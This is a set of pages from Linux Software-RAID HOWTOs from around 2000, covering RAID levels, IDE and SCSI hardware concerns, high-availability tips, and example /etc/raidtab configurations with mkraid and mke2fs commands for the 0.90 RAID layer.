    A: In many cases, the answer is yes. Using several controllers to perform disk access in parallel will improve performance. However, the actual improvement depends on your actual configuration. For example, it has been reported (Vaughan Pratt, January 98) that a single 4.3GB Cheetah attached to an Adaptec 2940UW can achieve a rate of 14MB/sec (without using RAID). Installing two disks on one controller, and using a RAID-0 configuration results in a measured performance of 27 MB/sec.

    Note that the 2940UW controller is an "Ultra-Wide" SCSI controller, capable of a theoretical burst rate of 40MB/sec, and so the above measurements are not surprising. However, a slower controller attached to two fast disks would be the bottleneck. Note also, that most out-board SCSI enclosures (e.g. the kind with hot-pluggable trays) cannot be run at the 40MB/sec rate, due to cabling and electrical noise problems.

    If you are designing a multiple controller system, remember that most disks and controllers typically run at 70-85% of their rated max speeds.

    Note also that using one controller per disk can reduce the likelihood of system outage due to a controller or cable failure (In theory -- only if the device driver for the controller can gracefully handle a broken controller. Not all SCSI device drivers seem to be able to handle such a situation without panicking or otherwise locking up).


Software-RAID HOWTO: High Availability RAID

 Next Previous Contents

9. High Availability RAID

  1. Q: RAID can help protect me against data loss. But how can I also ensure that the system is up as long as possible, and not prone to breakdown? Ideally, I want a system that is up 24 hours a day, 7 days a week, 365 days a year.
    A: High-Availability is difficult and expensive. The harder you try to make a system be fault tolerant, the harder and more expensive it gets. The following hints, tips, ideas and unsubstantiated rumors may help you with this quest.
    • IDE disks can fail in such a way that the failed disk on an IDE ribbon can also prevent the good disk on the same ribbon from responding, thus making it look as if two disks have failed. Since RAID does not protect against two-disk failures, one should either put only one disk on an IDE cable, or if there are two disks, they should belong to different RAID sets.
    • SCSI disks can fail in such a way that the failed disk on a SCSI chain can prevent any device on the chain from being accessed. The failure mode involves a short of the common (shared) device ready pin; since this pin is shared, no arbitration can occur until the short is removed. Thus, no two disks on the same SCSI chain should belong to the same RAID array.
    • Similar remarks apply to the disk controllers. Don't load up the channels on one controller; use multiple controllers.
    • Don't use the same brand or model number for all of the disks. It is not uncommon for severe electrical storms to take out two or more disks. (Yes, we all use surge suppressors, but these are not perfect either). Heat & poor ventilation of the disk enclosure are other disk killers. Cheap disks often run hot. Using different brands of disk & controller decreases the likelihood that whatever took out one disk (heat, physical shock, vibration, electrical surge) will also damage the others on the same date.
    • To guard against controller or CPU failure, it should be possible to build a SCSI disk enclosure that is "twin-tailed": i.e. is connected to two computers. One computer will mount the file-systems read-write, while the second computer will mount them read-only, and act as a hot spare. When the hot-spare is able to determine that the master has failed (e.g. through a watchdog), it will cut the power to the master (to make sure that it's really off), and then fsck & remount read-write. If anyone gets this working, let me know.
    • Always use an UPS, and perform clean shutdowns. Although an unclean shutdown may not damage the disks, running ckraid on even small-ish arrays is painfully slow. You want to avoid running ckraid as much as possible. Or you can hack on the kernel and get the hot-reconstruction code debugged ...
    • SCSI cables are well-known to be very temperamental creatures, and prone to cause all sorts of problems. Use the highest quality cabling that you can find for sale. Use e.g. bubble-wrap to make sure that ribbon cables to not get too close to one another and cross-talk. Rigorously observe cable-length restrictions.
    • Take a look at SSI (Serial Storage Architecture). Although it is rather expensive, it is rumored to be less prone to the failure modes that SCSI exhibits.
    • Enjoy yourself, its later than you think.


Software-RAID HOWTO: Questions Waiting for Answers

 Next Previous Contents

10. Questions Waiting for Answers

  1. Q: If, for cost reasons, I try to mirror a slow disk with a fast disk, is the S/W smart enough to balance the reads accordingly or will it all slow down to the speed of the slowest?

  2. Q: For testing the raw disk thru put... is there a character device for raw read/raw writes instead of /dev/sdaxx that we can use to measure performance on the raid drives?? is there a GUI based tool to use to watch the disk thru-put??


Software-RAID HOWTO: Wish List of Enhancements to MD and Related Software

 Next Previous Contents

11. Wish List of Enhancements to MD and Related Software

Bradley Ward Allen < ulmo@Q.Net> wrote:

Ideas include:
  • Boot-up parameters to tell the kernel which devices are to be MD devices (no more ``mdadd'')
  • Making MD transparent to ``mount''/``umount'' such that there is no ``mdrun'' and ``mdstop''
  • Integrating ``ckraid'' entirely into the kernel, and letting it run as needed
(So far, all I've done is suggest getting rid of the tools and putting them into the kernel; that's how I feel about it, this is a filesystem, not a toy.)
  • Deal with arrays that can easily survive N disks going out simultaneously or at separate moments, where N is a whole number > 0 settable by the administrator
  • Handle kernel freezes, power outages, and other abrupt shutdowns better
  • Don't disable a whole disk if only parts of it have failed, e.g., if the sector errors are confined to less than 50% of access over the attempts of 20 dissimilar requests, then it continues just ignoring those sectors of that particular disk.
  • Bad sectors:
    • A mechanism for saving which sectors are bad, someplace onto the disk.
    • If there is a generalized mechanism for marking degraded bad blocks that upper filesystem levels can recognize, use that. Program it if not.
    • Perhaps alternatively a mechanism for telling the upper layer that the size of the disk got smaller, even arranging for the upper layer to move out stuff from the areas being eliminated. This would help with a degraded blocks as well.
    • Failing the above ideas, keeping a small (admin settable) amount of space aside for bad blocks (distributed evenly across disk?), and using them (nearby if possible) instead of the bad blocks when it does happen. Of course, this is inefficient. Furthermore, the kernel ought to log every time the RAID array starts each bad sector and what is being done about it with a ``crit'' level warning, just to get the administrator to realize that his disk has a piece of dust burrowing into it (or a head with platter sickness).
  • Software-switchable disks:
    ``disable this disk''

    would block until kernel has completed making sure there is no data on the disk being shut down that is needed (e.g., to complete an XOR/ECC/other error correction), then release the disk from use (so it could be removed, etc.);

    ``enable this disk''

    would mkraid a new disk if appropriate and then start using it for ECC/whatever operations, enlarging the RAID5 array as it goes;

    ``resize array''

    would respecify the total number of disks and the number of redundant disks, and the result would often be to resize the size of the array; where no data loss would result, doing this as needed would be nice, but I have a hard time figuring out how it would do that; in any case, a mode where it would block (for possibly hours (kernel ought to log something every ten seconds if so)) would be necessary;

    ``enable this disk while saving data''

    which would save the data on a disk as-is and move it to the RAID5 system as needed, so that a horrific save and restore would not have to happen every time someone brings up a RAID5 system (instead, it may be simpler to only save one partition instead of two, it might fit onto the first as a gzip'd file even); finally,

    ``re-enable disk''

    would be an operator's hint to the OS to try out a previously failed disk (it would simply call disable then enable, I suppose).

Other ideas off the net:

  • finalrd analog to initrd, to simplify root raid.
  • a read-only raid mode, to simplify the above
  • Mark the RAID set as clean whenever there are no "half writes" done. -- That is, whenever there are no write transactions that were committed on one disk but still unfinished on another disk. Add a "write inactivity" timeout (to avoid frequent seeks to the RAID superblock when the RAID set is relatively busy).


The Software-RAID HOWTO

Jakob Østergaard ( jakob@ostenfeld.dk)

v. 0.90.7 19th of January 2000

This HOWTO describes how to use Software RAID under Linux. It addresses a specific version of the Software RAID layer, namely the 0.90 RAID layer made by Ingo Molnar and others. This is the RAID layer that will be standard in Linux-2.4, and it is the version that is also used by Linux-2.2 kernels shipped from some vendors. The 0.90 RAID support is available as patches to Linux-2.0 and Linux-2.2, and is by many considered far more stable that the older RAID support already in those kernels.

1. Introduction

  • 1.1 Disclaimer
  • 1.2 Requirements

2. Why RAID ?

  • 2.1 Technicalities
  • 2.2 Terms
  • 2.3 The RAID levels
  • 2.4 Swapping on RAID

3. Hardware issues

  • 3.1 IDE Configuration
  • 3.2 Hot Swap

4. RAID setup

  • 4.1 General setup
  • 4.2 Linear mode
  • 4.3 RAID-0
  • 4.4 RAID-1
  • 4.5 RAID-4
  • 4.6 RAID-5
  • 4.7 The Persistent Superblock
  • 4.8 Chunk sizes
  • 4.9 Options for mke2fs
  • 4.10 Autodetection
  • 4.11 Booting on RAID
  • 4.12 Root filesystem on RAID
  • 4.13 Making the system boot on RAID
  • 4.14 Pitfalls

5. Testing

  • 5.1 Simulating a drive failure
  • 5.2 Simulating data corruption

6. Reconstruction

  • 6.1 Recovery from a multiple disk failure

7. Performance

  • 7.1 RAID-0
  • 7.2 RAID-0 with TCQ
  • 7.3 RAID-5
  • 7.4 RAID-10

8. Credits


The Software-RAID HOWTO: Introduction

 Next Previous Contents

1. Introduction

For a description of the older RAID layer, the one which is standard in 2.0 and 2.2 kernels, see the excellent HOWTO from Linas Vepstas ( linas@linas.org) available from the Linux Documentation Project at linuxdoc.org.

The home site for this HOWTO is http://ostenfeld.dk/~jakob/Software-RAID.HOWTO/, where updated versions appear first. The howto is written by Jakob Østergaard based on a large number of emails between the author and Ingo Molnar (mingo@chiara.csoma.elte.hu) -- one of the RAID developers --, the linux-raid mailing list (linux-raid@vger.rutgers.edu) and various other people.

The reason this HOWTO was written even though a Software-RAID HOWTO already exists is, that the old HOWTO describes the old-style Software RAID found in the standard 2.0 and 2.2 kernels. This HOWTO describes the use of the new-style RAID that has been developed more recently. The new-style RAID has a lot of features not present in old-style RAID.

If you want to use the new-style RAID with 2.0 or 2.2 kernels, you should get a patch for your kernel, either from ftp://ftp.[your-country-code].kernel.org/pub/linux/daemons/raid/alpha, or more recently from http://people.redhat.com/mingo/ The standard 2.2 kernels does not have direct support for the new-style RAID described in this HOWTO. Therefore these patches are needed. The old-style RAID support in standard 2.0 and 2.2 kernels is buggy and lacks several important features present in the new-style RAID software.

As of this writing, the new-style RAID support is being merged into the 2.3 development kernels, and will therefore (most likely) be present in the 2.4 Linux kernel when that one comes out. But until then, the stable kernels must be patched manually.

You might want to use the -ac kernel releases done by Alan Cox, for RAID support in 2.2. Some of those contain the new-style RAID, and that will save you from patching the kernel yourself.

Some of the information in this HOWTO may seem trivial, if you know RAID all ready. Just skip those parts.

1.1 Disclaimer

The mandatory disclaimer:

Although RAID seems stable for me, and stable for many other people, it may not work for you. If you lose all your data, your job, get hit by a truck, whatever, it's not my fault, nor the developers'. Be aware, that you use the RAID software and this information at your own risk! There is no guarantee whatsoever, that any of the software, or this information, is in anyway correct, nor suited for any use whatsoever. Back up all your data before experimenting with this. Better safe than sorry.

That said, I must also say that I haven't had a single stability problem with Software RAID, I use it on quite a few machines with no problems what so ever, and I haven't seen other people having problems with random crashes or instability caused by RAID.

1.2 Requirements

This HOWTO assumes you are using a late 2.2.x or 2.0.x kernel with a matching raid0145 patch and the 0.90 version of the raidtools, or that you are using a late 2.3 kernel (version > 2.3.46) or eventually 2.4. Both the patches and the tools can be found at ftp://ftp.fi.kernel.org/pub/linux/daemons/raid/alpha, and in some cases at http://people.redhat.com/mingo/. The RAID patch, the raidtools package, and the kernel should all match as close as possible. At times it can be necessary to use older kernels if raid patches are not available for the latest kernel.


The Software-RAID HOWTO: Why RAID ?

 Next Previous Contents

2. Why RAID ?

There can be many good reasons for using RAID. A few are; the ability to combine several physical disks into one larger ``virtual'' device, performance improvements, and redundancy.

2.1 Technicalities

Linux RAID can work on most block devices. It doesn't matter whether you use IDE or SCSI devices, or a mixture. Some people have also used the Network Block Device (NBD) with more or less success.

Be sure that the bus(ses) to the drives are fast enough. You shouldn't have 14 UW-SCSI drives on one UW bus, if each drive can give 10 MB/s and the bus can only sustain 40 MB/s. Also, you should only have one device per IDE bus. Running disks as master/slave is horrible for performance. IDE is really bad at accessing more that one drive per bus. Of Course, all newer motherboards have two IDE busses, so you can set up two disks in RAID without buying more controllers.

The RAID layer has absolutely nothing to do with the filesystem layer. You can put any filesystem on a RAID device, just like any other block device.

2.2 Terms

The word ``RAID'' means ``Linux Software RAID''. This HOWTO does not treat any aspects of Hardware RAID.

When describing setups, it is useful to refer to the number of disks and their sizes. At all times the letter N is used to denote the number of active disks in the array (not counting spare-disks). The letter S is the size of the smallest drive in the array, unless otherwise mentioned. The letter P is used as the performance of one disk in the array, in MB/s. When used, we assume that the disks are equally fast, which may not always be true.

Note that the words ``device'' and ``disk'' are supposed to mean about the same thing. Usually the devices that are used to build a RAID device are partitions on disks, not necessarily entire disks. But combining several partitions on one disk usually does not make sense, so the words devices and disks just mean ``partitions on different disks''.

2.3 The RAID levels

Here's a short description of what is supported in the Linux RAID patches. Some of this information is absolutely basic RAID info, but I've added a few notices about what's special in the Linux implementation of the levels. Just skip this section if you know RAID. Then come back when you are having problems :)

The current RAID patches for Linux supports the following levels:

  • Linear mode
    • Two or more disks are combined into one physical device. The disks are ``appended'' to each other, so writing to the RAID device will fill up disk 0 first, then disk 1 and so on. The disks does not have to be of the same size. In fact, size doesn't matter at all here :)
    • There is no redundancy in this level. If one disk crashes you will most probably lose all your data. You can however be lucky to recover some data, since the filesystem will just be missing one large consecutive chunk of data.
    • The read and write performance will not increase for single reads/writes. But if several users use the device, you may be lucky that one user effectively is using the first disk, and the other user is accessing files which happen to reside on the second disk. If that happens, you will see a performance gain.
  • RAID-0
    • Also called ``stripe'' mode. Like linear mode, except that reads and writes are done in parallel to the devices. The devices should have approximately the same size. Since all access is done in parallel, the devices fill up equally. If one device is much larger than the other devices, that extra space is still utilized in the RAID device, but you will be accessing this larger disk alone, during writes in the high end of your RAID device. This of course hurts performance.
    • Like linear, there's no redundancy in this level either. Unlike linear mode, you will not be able to rescue any data if a drive fails. If you remove a drive from a RAID-0 set, the RAID device will not just miss one consecutive block of data, it will be filled with small holes all over the device. e2fsck will probably not be able to recover much from such a device.
    • The read and write performance will increase, because reads and writes are done in parallel on the devices. This is usually the main reason for running RAID-0. If the busses to the disks are fast enough, you can get very close to N*P MB/sec.
  • RAID-1
    • This is the first mode which actually has redundancy. RAID-1 can be used on two or more disks with zero or more spare-disks. This mode maintains an exact mirror of the information on one disk on the other disk(s). Of Course, the disks must be of equal size. If one disk is larger than another, your RAID device will be the size of the smallest disk.
    • If up to N-1 disks are removed (or crashes), all data are still intact. If there are spare disks available, and if the system (eg. SCSI drivers or IDE chipset etc.) survived the crash, reconstruction of the mirror will immediately begin on one of the spare disks, after detection of the drive fault.
    • Write performance is the slightly worse than on a single device, because identical copies of the data written must be sent to every disk in the array. Read performance is usually pretty bad because of an oversimplified read-balancing strategy in the RAID code. However, there has been implemented a much improved read-balancing strategy, which might be available for the Linux-2.2 RAID patches (ask on the linux-kernel list), and which will most likely be in the standard 2.4 kernel RAID support.
  • RAID-4
    • This RAID level is not used very often. It can be used on three or more disks. Instead of completely mirroring the information, it keeps parity information on one drive, and writes data to the other disks in a RAID-0 like way. Because one disks is reserved for parity information, the size of the array will be (N-1)*S, where S is the size of the smallest drive in the array. As in RAID-1, the disks should either be of equal size, or you will just have to accept that the S in the (N-1)*S formula above will be the size of the smallest drive in the array.
    • If one drive fails, the parity information can be used to reconstruct all data. If two drives fail, all data is lost.
    • The reason this level is not more frequently used, is because the parity information is kept on one drive. This information must be updated every time one of the other disks are written to. Thus, the parity disk will become a bottleneck, if it is not a lot faster than the other disks. However, if you just happen to have a lot of slow disks and a very fast one, this RAID level can be very useful.
  • RAID-5
    • This is perhaps the most useful RAID mode when one wishes to combine a larger number of physical disks, and still maintain some redundancy. RAID-5 can be used on three or more disks, with zero or more spare-disks. The resulting RAID-5 device size will be (N-1)*S, just like RAID-4. The big difference between RAID-5 and -4 is, that the parity information is distributed evenly among the participating drives, avoiding the bottleneck problem in RAID-4.
    • If one of the disks fail, all data are still intact, thanks to the parity information. If spare disks are available, reconstruction will begin immediately after the device failure. If two disks fail simultaneously, all data are lost. RAID-5 can survive one disk failure, but not two or more.
    • Both read and write performance usually increase, but it's hard to predict how much.

Spare disks

Spare disks are disks that do not take part in the RAID set until one of the active disks fail. When a device failure is detected, that device is marked as ``bad'' and reconstruction is immediately started on the first spare-disk available.

Thus, spare disks add a nice extra safety to especially RAID-5 systems that perhaps are hard to get to (physically). One can allow the system to run for some time, with a faulty device, since all redundancy is preserved by means of the spare disk.

You cannot be sure that your system will survive a disk crash. The RAID layer should handle device failures just fine, but SCSI drivers could be broken on error handling, or the IDE chipset could lock up, or a lot of other things could happen.

2.4 Swapping on RAID

There's no reason to use RAID for swap performance reasons. The kernel itself can stripe swapping on several devices, if you just give them the same priority in the fstab file.

A nice fstab looks like:

/dev/sda2       swap           swap    defaults,pri=1   0 0
/dev/sdb2       swap           swap    defaults,pri=1   0 0
/dev/sdc2       swap           swap    defaults,pri=1   0 0
/dev/sdd2       swap           swap    defaults,pri=1   0 0
/dev/sde2       swap           swap    defaults,pri=1   0 0
/dev/sdf2       swap           swap    defaults,pri=1   0 0
/dev/sdg2       swap           swap    defaults,pri=1   0 0
This setup lets the machine swap in parallel on seven SCSI devices. No need for RAID, since this has been a kernel feature for a long time.

Another reason to use RAID for swap is high availability. If you set up a system to boot on eg. a RAID-1 device, the system should be able to survive a disk crash. But if the system has been swapping on the now faulty device, you will for sure be going down. Swapping on the RAID-1 device would solve this problem.

There has been a lot of discussion about whether swap was stable on RAID devices. This is a continuing debate, because it depends highly on other aspects of the kernel as well. As of this writing, it seems that swapping on RAID should be perfectly stable, except for when the array is reconstructing (eg. after a new disk is inserted into a degraded array). When 2.4 comes out this is an issue that will most likely get addressed fairly quickly, but until then, you should stress-test the system yourself until you are either satisfied with the stability or conclude that you won't be swapping on RAID.

You can set up RAID in a swap file on a filesystem on your RAID device, or you can set up a RAID device as a swap partition, as you see fit. As usual, the RAID device is just a block device.


The Software-RAID HOWTO: Hardware issues

 Next Previous Contents

3. Hardware issues

This section will mention some of the hardware concerns involved when running software RAID.

3.1 IDE Configuration

It is indeed possible to run RAID over IDE disks. And excellent performance can be achieved too. In fact, today's price on IDE drives and controllers does make IDE something to be considered, when setting up new RAID systems.

  • Physical stability: IDE drives has traditionally been of lower mechanical quality than SCSI drives. Even today, the warranty on IDE drives is typically one year, whereas it is often three to five years on SCSI drives. Although it is not fair to say, that IDE drives are per definition poorly made, one should be aware that IDE drives of some brand may fail more often that similar SCSI drives. However, other brands use the exact same mechanical setup for both SCSI and IDE drives. It all boils down to: All disks fail, sooner or later, and one should be prepared for that.
  • Data integrity: Earlier, IDE had no way of assuring that the data sent onto the IDE bus would be the same as the data actually written to the disk. This was due to total lack of parity, checksums, etc. With the Ultra-DMA standard, IDE drives now do a checksum on the data they receive, and thus it becomes highly unlikely that data get corrupted.
  • Performance: I'm not going to write thoroughly about IDE performance here. The really short story is:
    • IDE drives are fast (12 MB/s and beyond)
    • IDE has more CPU overhead than SCSI (but who cares?)
    • Only use one IDE drive per IDE bus, slave disks spoil performance
  • Fault survival: The IDE driver usually survives a failing IDE device. The RAID layer will mark the disk as failed, and if you are running RAID levels 1 or above, the machine should work just fine until you can take it down for maintenance.

It is very important, that you only use one IDE disk per IDE bus. Not only would two disks ruin the performance, but the failure of a disk often guarantees the failure of the bus, and therefore the failure of all disks on that bus. In a fault-tolerant RAID setup (RAID levels 1,4,5), the failure of one disk can be handled, but the failure of two disks (the two disks on the bus that fails due to the failure of the one disk) will render the array unusable. Also, when the master drive on a bus fails, the slave or the IDE controller may get awfully confused. One bus, one drive, that's the rule.

There are cheap PCI IDE controllers out there. You often get two or four busses for around $80. Considering the much lower price of IDE disks versus SCSI disks, I'd say an IDE disk array could be a really nice solution if one can live with the relatively low (around 8 probably) disks one can attach to a typical system (unless of course, you have a lot of PCI slots for those IDE controllers).

IDE has major cabling problems though when it comes to large arrays. Even if you had enough PCI slots, it's unlikely that you could fit much more than 8 disks in a system and still get it running without data corruption (caused by too long IDE cables).

3.2 Hot Swap

This has been a hot topic on the linux-kernel list for some time. Although hot swapping of drives is supported to some extent, it is still not something one can do easily.

Hot-swapping IDE drives

Don't ! IDE doesn't handle hot swapping at all. Sure, it may work for you, if your IDE driver is compiled as a module (only possible in the 2.2 series of the kernel), and you re-load it after you've replaced the drive. But you may just as well end up with a fried IDE controller, and you'll be looking at a lot more down-time than just the time it would have taken to replace the drive on a downed system.

The main problem, except for the electrical issues that can destroy your hardware, is that the IDE bus must be re-scanned after disks are swapped. The current IDE driver can't do that. If the new disk is 100% identical to the old one (wrt. geometry etc.), it may work even without re-scanning the bus, but really, you're walking the bleeding edge here.

Hot-swapping SCSI drives

Normal SCSI hardware is not hot-swappable either. It may however work. If your SCSI driver supports re-scanning the bus, and removing and appending devices, you may be able to hot-swap devices. However, on a normal SCSI bus you probably shouldn't unplug devices while your system is still powered up. But then again, it may just work (and you may end up with fried hardware).

The SCSI layer should survive if a disk dies, but not all SCSI drivers handle this yet. If your SCSI driver dies when a disk goes down, your system will go with it, and hot-plug isn't really interesting then.

Hot-swapping with SCA

With SCA, it should be possible to hot-plug devices. However, I don't have the hardware to try this out, and I haven't heard from anyone who's tried, so I can't really give any recipe on how to do this.

If you want to play with this, you should know about SCSI and RAID internals anyway. So I'm not going to write something here that I can't verify works, instead I can give a few clues:

  • Grep for remove-single-device in linux/drivers/scsi/scsi.c
  • Take a look at raidhotremove and raidhotadd

Not all SCSI drivers support appending and removing devices. In the 2.2 series of the kernel, at least the Adaptec 2940 and Symbios NCR53c8xx drivers seem to support this, others may and may not. I'd appreciate if anyone has additional facts here...


The Software-RAID HOWTO: RAID setup

 Next Previous Contents

4. RAID setup

4.1 General setup

This is what you need for any of the RAID levels:

  • A kernel. Preferably a stable 2.2.X kernel, or the latest 2.0.X. (If 2.4 is out when you read this, go for that one instead)
  • The RAID patches. There usually is a patch available for the recent kernels. (If you found a 2.4 kernel, the patches are already in and you can forget about them)
  • The RAID tools.
  • Patience, Pizza, and your favorite caffeinated beverage.

All this software can be found at ftp://ftp.fi.kernel.org/pub/linux The RAID tools and patches are in the daemons/raid/alpha subdirectory. The kernels are found in the kernel subdirectory.

Patch the kernel, configure it to include RAID support for the level you want to use. Compile it and install it.

Then unpack, configure, compile and install the RAID tools.

Ok, so far so good. If you reboot now, you should have a file called /proc/mdstat. Remember it, that file is your friend. See what it contains, by doing a cat /proc/mdstat. It should tell you that you have the right RAID personality (eg. RAID mode) registered, and that no RAID devices are currently active.

Create the partitions you want to include in your RAID set.

Now, let's go mode-specific.

4.2 Linear mode

Ok, so you have two or more partitions which are not necessarily the same size (but of course can be), which you want to append to each other.

Set up the /etc/raidtab file to describe your setup. I set up a raidtab for two disks in linear mode, and the file looked like this:

raiddev /dev/md0
        raid-level      linear
        nr-raid-disks   2
        chunk-size      32
        persistent-superblock 1
        device          /dev/sdb6
        raid-disk       0
        device          /dev/sdc5
        raid-disk       1
Spare-disks are not supported here. If a disk dies, the array dies with it. There's no information to put on a spare disk.

You're probably wondering why we specify a chunk-size here when linear mode just appends the disks into one large array with no parallelism. Well, you're completely right, it's odd. Just put in some chunk size and don't worry about this any more.

Ok, let's create the array. Run the command

  mkraid /dev/md0

This will initialize your array, write the persistent superblocks, and start the array.

Have a look in /proc/mdstat. You should see that the array is running.

Now, you can create a filesystem, just like you would on any other device, mount it, include it in your fstab and so on.

4.3 RAID-0

You have two or more devices, of approximately the same size, and you want to combine their storage capacity and also combine their performance by accessing them in parallel.

Set up the /etc/raidtab file to describe your configuration. An example raidtab looks like:

raiddev /dev/md0
        raid-level      0
        nr-raid-disks   2
        persistent-superblock 1
        chunk-size     4
        device          /dev/sdb6
        raid-disk       0
        device          /dev/sdc5
        raid-disk       1
Like in Linear mode, spare disks are not supported here either. RAID-0 has no redundancy, so when a disk dies, the array goes with it.

Again, you just run

  mkraid /dev/md0
to initialize the array. This should initialize the superblocks and start the raid device. Have a look in /proc/mdstat to see what's going on. You should see that your device is now running.

/dev/md0 is now ready to be formatted, mounted, used and abused.

4.4 RAID-1

You have two devices of approximately same size, and you want the two to be mirrors of each other. Eventually you have more devices, which you want to keep as stand-by spare-disks, that will automatically become a part of the mirror if one of the active devices break.

Set up the /etc/raidtab file like this:

raiddev /dev/md0
        raid-level      1
        nr-raid-disks   2
        nr-spare-disks  0
        chunk-size     4
        persistent-superblock 1
        device          /dev/sdb6
        raid-disk       0
        device          /dev/sdc5
        raid-disk       1
If you have spare disks, you can add them to the end of the device specification like
        device          /dev/sdd5
        spare-disk      0
Remember to set the nr-spare-disks entry correspondingly.

Ok, now we're all set to start initializing the RAID. The mirror must be constructed, eg. the contents (however unimportant now, since the device is still not formatted) of the two devices must be synchronized.

Issue the

  mkraid /dev/md0
command to begin the mirror initialization.

Check out the /proc/mdstat file. It should tell you that the /dev/md0 device has been started, that the mirror is being reconstructed, and an ETA of the completion of the reconstruction.

Reconstruction is done using idle I/O bandwidth. So, your system should still be fairly responsive, although your disk LEDs should be glowing nicely.

The reconstruction process is transparent, so you can actually use the device even though the mirror is currently under reconstruction.

Try formatting the device, while the reconstruction is running. It will work. Also you can mount it and use it while reconstruction is running. Of Course, if the wrong disk breaks while the reconstruction is running, you're out of luck.

4.5 RAID-4

Note! I haven't tested this setup myself. The setup below is my best guess, not something I have actually had up running.

You have three or more devices of roughly the same size, one device is significantly faster than the other devices, and you want to combine them all into one larger device, still maintaining some redundancy information. Eventually you have a number of devices you wish to use as spare-disks.

Set up the /etc/raidtab file like this:

raiddev /dev/md0
        raid-level      4
        nr-raid-disks   4
        nr-spare-disks  0
        persistent-superblock 1
        chunk-size      32
        device          /dev/sdb1
        raid-disk       0
        device          /dev/sdc1
        raid-disk       1
        device          /dev/sdd1
        raid-disk       2
        device          /dev/sde1
        raid-disk       3
If we had any spare disks, they would be inserted in a similar way, following the raid-disk specifications;
        device         /dev/sdf1
        spare-disk     0
as usual.

Your array can be initialized with the

   mkraid /dev/md0
command as usual.

You should see the section on special options for mke2fs before formatting the device.

4.6 RAID-5

You have three or more devices of roughly the same size, you want to combine them into a larger device, but still to maintain a degree of redundancy for data safety. Eventually you have a number of devices to use as spare-disks, that will not take part in the array before another device fails.

If you use N devices where the smallest has size S, the size of the entire array will be (N-1)*S. This ``missing'' space is used for parity (redundancy) information. Thus, if any disk fails, all data stay intact. But if two disks fail, all data is lost.

Set up the /etc/raidtab file like this:

raiddev /dev/md0
        raid-level      5
        nr-raid-disks   7
        nr-spare-disks  0
        persistent-superblock 1
        parity-algorithm        left-symmetric
        chunk-size      32
        device          /dev/sda3
        raid-disk       0
        device          /dev/sdb1
        raid-disk       1
        device          /dev/sdc1
        raid-disk       2
        device          /dev/sdd1
        raid-disk       3
        device          /dev/sde1
        raid-disk       4
        device          /dev/sdf1
        raid-disk       5
        device          /dev/sdg1
        raid-disk       6
If we had any spare disks, they would be inserted in a similar way, following the raid-disk specifications;
        device         /dev/sdh1
        spare-disk     0
And so on.

A chunk size of 32 KB is a good default for many general purpose filesystems of this size. The array on which the above raidtab is used, is a 7 times 6 GB = 36 GB (remember the (n-1)*s = (7-1)*6 = 36) device. It holds an ext2 filesystem with a 4 KB block size. You could go higher with both array chunk-size and filesystem block-size if your filesystem is either much larger, or just holds very large files.

Ok, enough talking. You set up the raidtab, so let's see if it works. Run the

  mkraid /dev/md0
command, and see what happens. Hopefully your disks start working like mad, as they begin the reconstruction of your array. Have a look in /proc/mdstat to see what's going on.

If the device was successfully created, the reconstruction process has now begun. Your array is not consistent until this reconstruction phase has completed. However, the array is fully functional (except for the handling of device failures of course), and you can format it and use it even while it is reconstructing.

See the section on special options for mke2fs before formatting the array.

Ok, now when you have your RAID device running, you can always stop it or re-start it using the

  raidstop /dev/md0
or
  raidstart /dev/md0
commands.

Instead of putting these into init-files and rebooting a zillion times to make that work, read on, and get autodetection running.

4.7 The Persistent Superblock

Back in ``The Good Old Days'' (TM), the raidtools would read your /etc/raidtab file, and then initialize the array. However, this would require that the filesystem on which /etc/raidtab resided was mounted. This is unfortunate if you want to boot on a RAID.

Also, the old approach led to complications when mounting filesystems on RAID devices. They could not be put in the /etc/fstab file as usual, but would have to be mounted from the init-scripts.

The persistent superblocks solve these problems. When an array is initialized with the persistent-superblock option in the /etc/raidtab file, a special superblock is written in the beginning of all disks participating in the array. This allows the kernel to read the configuration of RAID devices directly from the disks involved, instead of reading from some configuration file that may not be available at all times.

You should however still maintain a consistent /etc/raidtab file, since you may need this file for later reconstruction of the array.

The persistent superblock is mandatory if you want auto-detection of your RAID devices upon system boot. This is described in the Autodetection section.

4.8 Chunk sizes

The chunk-size deserves an explanation. You can never write completely parallel to a set of disks. If you had two disks and wanted to write a byte, you would have to write four bits on each disk, actually, every second bit would go to disk 0 and the others to disk 1. Hardware just doesn't support that. Instead, we choose some chunk-size, which we define as the smallest ``atomic'' mass of data that can be written to the devices. A write of 16 KB with a chunk size of 4 KB, will cause the first and the third 4 KB chunks to be written to the first disk, and the second and fourth chunks to be written to the second disk, in the RAID-0 case with two disks. Thus, for large writes, you may see lower overhead by having fairly large chunks, whereas arrays that are primarily holding small files may benefit more from a smaller chunk size.

Chunk sizes must be specified for all RAID levels, including linear mode. However, the chunk-size does not make any difference for linear mode.

For optimal performance, you should experiment with the value, as well as with the block-size of the filesystem you put on the array.

The argument to the chunk-size option in /etc/raidtab specifies the chunk-size in kilobytes. So ``4'' means ``4 KB''.

RAID-0

Data is written ``almost'' in parallel to the disks in the array. Actually, chunk-size bytes are written to each disk, serially.

If you specify a 4 KB chunk size, and write 16 KB to an array of three disks, the RAID system will write 4 KB to disks 0, 1 and 2, in parallel, then the remaining 4 KB to disk 0.

A 32 KB chunk-size is a reasonable starting point for most arrays. But the optimal value depends very much on the number of drives involved, the content of the file system you put on it, and many other factors. Experiment with it, to get the best performance.

RAID-1

For writes, the chunk-size doesn't affect the array, since all data must be written to all disks no matter what. For reads however, the chunk-size specifies how much data to read serially from the participating disks. Since all active disks in the array contain the same information, reads can be done in a parallel RAID-0 like manner.

RAID-4

When a write is done on a RAID-4 array, the parity information must be updated on the parity disk as well. The chunk-size is the size of the parity blocks. If one byte is written to a RAID-4 array, then chunk-size bytes will be read from the N-1 disks, the parity information will be calculated, and chunk-size bytes written to the parity disk.

The chunk-size affects read performance in the same way as in RAID-0, since reads from RAID-4 are done in the same way.

RAID-5

On RAID-5 the chunk-size has exactly the same meaning as in RAID-4.

A reasonable chunk-size for RAID-5 is 128 KB, but as always, you may want to experiment with this.

Also see the section on special options for mke2fs. This affects RAID-5 performance.

4.9 Options for mke2fs

There is a special option available when formatting RAID-4 or -5 devices with mke2fs. The -R stride=nn option will allow mke2fs to better place different ext2 specific data-structures in an intelligent way on the RAID device.

If the chunk-size is 32 KB, it means, that 32 KB of consecutive data will reside on one disk. If we want to build an ext2 filesystem with 4 KB block-size, we realize that there will be eight filesystem blocks in one array chunk. We can pass this information on the mke2fs utility, when creating the filesystem:

  mke2fs -b 4096 -R stride=8 /dev/md0

